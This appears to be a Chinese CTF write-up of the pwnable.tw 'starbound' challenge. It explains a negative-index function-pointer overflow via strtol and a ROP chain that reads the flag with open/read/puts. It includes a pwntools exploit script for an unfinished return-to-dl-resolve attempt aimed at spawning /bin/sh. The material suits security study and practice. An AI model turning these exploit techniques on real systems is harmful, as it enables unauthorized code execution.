【pwnable.tw】 starbound

此题的代码量很大,看了一整天的逻辑代码,没发现什么问题...

 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数。

函数的漏洞主要在main函数中,main函数中使用了strtol函数将用户输入转换为字符串,并根据此转换结果,对子函数进行访问。

当用户输入过大或过小时,会导致越界访问的问题,其中,strtol函数的返回值可能为负数。

 bss段中,用户输入的名称最开始是随机生成的,但用户可以更改。而此字段在函数指针数组上面,也就是说,用户可以通过控制名称的方式获得一次指令执行的机会

再查看一下安全保护机制

可以使用ROP的方式来利用漏洞。由于main函数中用户可以输入0x100长的字符给v5,因此,v5可作为ROP的存放位置,在name中找到一个gadget使得EIP跳转到位于栈上v5字段内即可。

由于此题没有附带libc,也没找到可以泄露地址的漏洞,因此在ROP中使用了在plt区域有的open、read、puts函数来打印flag,其中从dalao那里get的知识点是,read函数的第一个参数是一个int类型的值,

用于标识文件身份,其中0 : stdin、1:stdout、2:stderr,本题内没有打开未关闭的文件,因此read(3,&buf,0x10)完全可以读出flag。

另外,恰巧在最近接触到了return to dl-resolve的原理:http://www.freebuf.com/articles/system/149214.html

 此题恰巧也符合使用该技术的先决条件,但貌似ld.so做了保护,没有成功,在网上没有找到相关的保护手段,通过调试发现ld.so以偏移量获取了程序.gnu.version的内容,进一步运算,但我构造的偏移量过大,

导致运算超出了可读写的范围,造成程序崩溃。暂未找到其他方法,此坑以后再填。

 暂存未成功的return-to-dl-resolve代码:

from pwn import *
debug = 1
context(arch='i386',os='linux',endian='little')
context.log_level='debug' 
elf = ELF('./starbound')
if debug:
    p=process('./starbound')
    file = '~/Desktop/pwn/tw/starbound/flag'

else:
    p=remote('chall.pwnable.tw',10202)
file = '/home/starbound/flag'
file = '/bin/sh' + ''*(len(file)-len('/bin/sh'))
gadget = 0x08048e48
bss_function = 0x08058150
bss_name = 0x080580D0

shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 
print '[*] shellcode len ',len(shellcode)
print '[*] ',hex(bss_name + len(shellcode) - 0x80481dc)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) 
distance3 = bss_name + len(shellcode) - 0x80484fc
print '[*] ',hex(distance3)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x000ff207) + 'a'*8 + p32(distance3)+p32(0)+p32(0)+p32(0x12) + 'systemx00'
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) 
p.recvuntil('> ')
p.send('6')
p.recvuntil('> ')
p.send('2')
p.recvuntil(': ')
p.sendline(shellcode)
p.recvuntil('> ')

distance = (bss_name + len(file) - bss_function)/4
#print str(distance) 
gdb.attach(p,'b *0x0804A65D')
distance2 = bss_name + len(file) + 4 - 0x80487c8
cat_flag_exp = str(distance-1) + '' + 'a'*4 + p32(0x8048940) + p32(distance2) + p32(0xdeadbeef) + p32(bss_name)
'''
+ p32(elf.symbols['open']) + p32(gadget) + p32(bss_name) 
+ p32(0)+ 'a'*(0x1c-8) + p32(elf.symbols['read']) + p32(gadget) + p32(3) + p32(bss_name+20) + p32(0x40) +'a'*(0x1c-12) + p32(elf.symbols['puts']) + p32(0xdeadbeef) + p32(bss_name+20)
'''
'''
$ readelf -d starbound | grep JMPREL 
 0x00000017 (JMPREL)                     0x80487c8


gdb-peda$ x /2x 0x80487c8+0x120
0x80488e8:    0x0805509c    0x00002807

readelf -d starbound | grep SYM 
 0x00000006 (SYMTAB)                     0x80481dc
 0x0000000b (SYMENT)                     16 (bytes)
 0x6ffffff0 (VERSYM)                     0x80486f2

$ readelf -d starbound | grep STRTAB
 0x00000005 (STRTAB)                     0x80484fc

'''

p.sendline(cat_flag_exp)
p.interactive()

#0x08048e48 : add esp, 0x1c ; ret
原文地址:https://www.cnblogs.com/p4nda/p/7659720.html